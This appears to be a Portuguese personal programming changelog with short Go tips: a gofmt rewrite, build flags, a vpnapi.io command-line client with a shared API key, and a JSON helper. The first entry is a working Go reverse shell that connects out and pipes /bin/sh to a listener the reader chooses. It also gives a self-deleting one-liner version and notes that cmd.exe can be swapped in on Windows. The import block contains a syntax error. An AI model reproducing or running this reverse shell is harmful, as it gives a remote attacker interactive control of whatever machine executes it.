umgeher's changelog

Prog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

golang: interface{} = any

Atualizou para o Go 1.18? Sim?

gofmt -r 'interface{} -> any' -w *.go

Troque interface{} por any.

go build

Lembrar…

go build -ldflags="-s -w"

vpnapi - client

Alguns sabem… Sou usuario do servico vpnapi.io, uso muito ele. A ponto de criar algumas sistemas que dependem desse servico.

Agora resolvi criar um simples cli para fazer consultas no console. Feito em Golang, super simples e sem frescura… Caso queira usar, o repositorio esta’ no https://git.sr.ht/~umgeher/vpnapi.

Baixe o repositorio e se voce estiver em um ambiente unix like, apenas digite:

make

Ele vai rodar o go build com a flag -ldflags="-s -w". Ele vai gerar um executavel chamado vpnapi.

Para usar a API do vpnapi, voce deve criar uma conta no servico. Caso esteja com preguica (hehe), segue uma key livre deles:

727b7b6c9c284ff58219d143b4e13ffd

Agora coloque isso no seu env, para unix like, voce pode colocar no seu .profile a seguinte linha:

export VPNAPI_KEY="727b7b6c9c284ff58219d143b4e13ffd"

Agora voce pode usar a vontade o servico do VPNApi.io.

~/krig/vpnapi> ./vpnapi 8.8.8.8
{"ip":"8.8.8.8","security":{"vpn":false,"proxy":false,"tor":false,"relay":false},
"location":{"city":"","region":"","country":"United States",
"continent":"North America","region_code":"","country_code":"US",
"continent_code":"NA","latitude":"37.7510","longitude":"-97.8220",
"time_zone":"America/Chicago","locale_code":"en","metro_code":"",
"is_in_european_union":false},"network":{"network":"8.8.8.0/24",
"autonomous_system_number":"AS15169","autonomous_system_organization":"GOOGLE"}}

golang: compact JSON

Criando o client do VPNAPI em golang…

func compactJSON(in []byte) []byte {
	buf := new(bytes.Buffer)
	err := json.Compact(buf, in)
	if err != nil {
		return nil
	}

	return buf.Bytes()
}